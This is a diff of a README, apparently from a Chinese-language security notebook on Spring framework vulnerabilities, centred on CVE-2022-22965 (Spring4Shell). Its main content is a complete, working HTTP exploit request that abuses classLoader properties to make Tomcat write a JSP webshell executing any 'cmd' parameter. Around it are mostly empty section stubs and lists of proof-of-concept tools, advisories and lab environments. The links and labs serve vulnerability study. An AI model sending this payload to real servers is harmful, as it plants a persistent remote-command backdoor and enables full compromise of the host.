|
1 |
| -# Spring |
2 |
| -《Spring漏洞学习》 |
| 1 | +# HackSpring-永恒之春 |
| 2 | + |
| 3 | +本项目用来致敬全宇宙最无敌Spring框架!同时也记录自己在学习Spring漏洞过程中遇到的一些内容。本项目会持续更新,本项目创建于2022年3月30日,最近的一次更新时间为2022年4月1日。作者:[0e0w](https://github.com/0e0w) |
| 4 | + |
| 5 | +- [01-Spring基础知识]() |
| 6 | +- [02-Spring框架识别]() |
| 7 | +- [03-Spring上层建筑]() |
| 8 | +- [04-Spring漏洞汇总]() |
| 9 | +- [05-Spring检测利用]() |
| 10 | +- [06-Spring漏洞修复]() |
| 11 | +- [07-Spring分析文章]() |
| 12 | +- [08-Spring靶场环境]() |
| 13 | + |
| 14 | +## 01-Spring基础知识 |
| 15 | + |
| 16 | +## 02-Spring框架识别 |
| 17 | + |
| 18 | +- 待更新 |
| 19 | + |
| 20 | +## 03-Spring上层建筑 |
| 21 | + |
| 22 | +**Spring + ? = rce !** |
| 23 | + |
| 24 | +## 04-Spring漏洞汇总 |
| 25 | + |
| 26 | +- CVE-2022-22965 |
| 27 | + |
| 28 | +## 05-Spring检测利用 |
| 29 | + |
| 30 | +如何判断一个网站是否存在Spring漏洞?如何查找内网中存在Sprin漏洞? |
| 31 | + |
| 32 | +一、Payload |
| 33 | + |
| 34 | +``` |
| 35 | +POST / HTTP/1.1 |
| 36 | +Host: 127.0.0.1:8090 |
| 37 | +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 |
| 38 | +Accept-Encoding: gzip, deflate |
| 39 | +Accept: */* |
| 40 | +Connection: close |
| 41 | +suffix: %>// |
| 42 | +c1: Runtime |
| 43 | +c2: <% |
| 44 | +DNT: 1 |
| 45 | +Content-Type: application/x-www-form-urlencoded |
| 46 | +Content-Length: 761 |
| 47 | +
|
| 48 | +class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22S%22.equals(request.getParameter(%22Tomcat%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=Shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= |
| 49 | +``` |
| 50 | + |
| 51 | +二、源码检测 |
| 52 | + |
| 53 | +三、漏洞验证 |
| 54 | + |
| 55 | +- 测试时发现webshell只能写入一次!第二次失败! |
| 56 | + |
| 57 | +四、漏洞扫描 |
| 58 | + |
| 59 | +五、其他工具 |
| 60 | + |
| 61 | +- https://github.com/TheGejr/SpringShell |
| 62 | +- https://github.com/BobTheShoplifter/Spring4Shell-POC |
| 63 | +- https://github.com/kh4sh3i/Spring-CVE |
| 64 | +- https://github.com/GuayoyoCyber/CVE-2022-22965 |
| 65 | +- https://github.com/viniciuspereiras/CVE-2022-22965-poc |
| 66 | +- https://github.com/reznok/Spring4Shell-POC |
| 67 | +- https://github.com/jschauma/check-springshell |
| 68 | +- https://github.com/colincowie/Safer_PoC_CVE-2022-22965 |
| 69 | +- https://github.com/alt3kx/CVE-2022-22965_PoC |
| 70 | +- https://github.com/exploitbin/CVE-2022-22963-Spring-Core-RCE |
| 71 | +- https://github.com/light-Life/CVE-2022-22965-GUItools |
| 72 | +- https://github.com/Mr-xn/spring-core-rce |
| 73 | +- https://github.com/Kirill89/CVE-2022-22965-PoC |
| 74 | +- https://github.com/Axx8/SpringFramework_CVE-2022-22965_RCE |
| 75 | +- https://github.com/likewhite/CVE-2022-22965 |
| 76 | +- https://github.com/mebibite/springhound |
| 77 | +- https://github.com/irgoncalves/f5-waf-enforce-sig-Spring4Shell |
| 78 | + |
| 79 | +## 06-Spring漏洞修复 |
| 80 | + |
| 81 | +## 07-Spring分析文章 |
| 82 | + |
| 83 | +- https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html |
| 84 | +- https://bugalert.org/content/notices/2022-03-29-spring.html |
| 85 | +- https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc |
| 86 | +- https://www.springcloud.io/post/2022-03/spring-0day-vulnerability |
| 87 | +- https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement |
| 88 | + |
| 89 | +## 08-Spring靶场环境 |
| 90 | + |
| 91 | +- https://github.com/jbaines-r7/spring4shell_vulnapp |
| 92 | +- https://github.com/Kirill89/CVE-2022-22965-PoC |
| 93 | +- https://github.com/DDuarte/springshell-rce-poc |
| 94 | +- https://github.com/XuCcc/VulEnv |
| 95 | + |
| 96 | +[](https://starchart.cc/HackJava/Spring) |
| 97 | + |
0 commit comments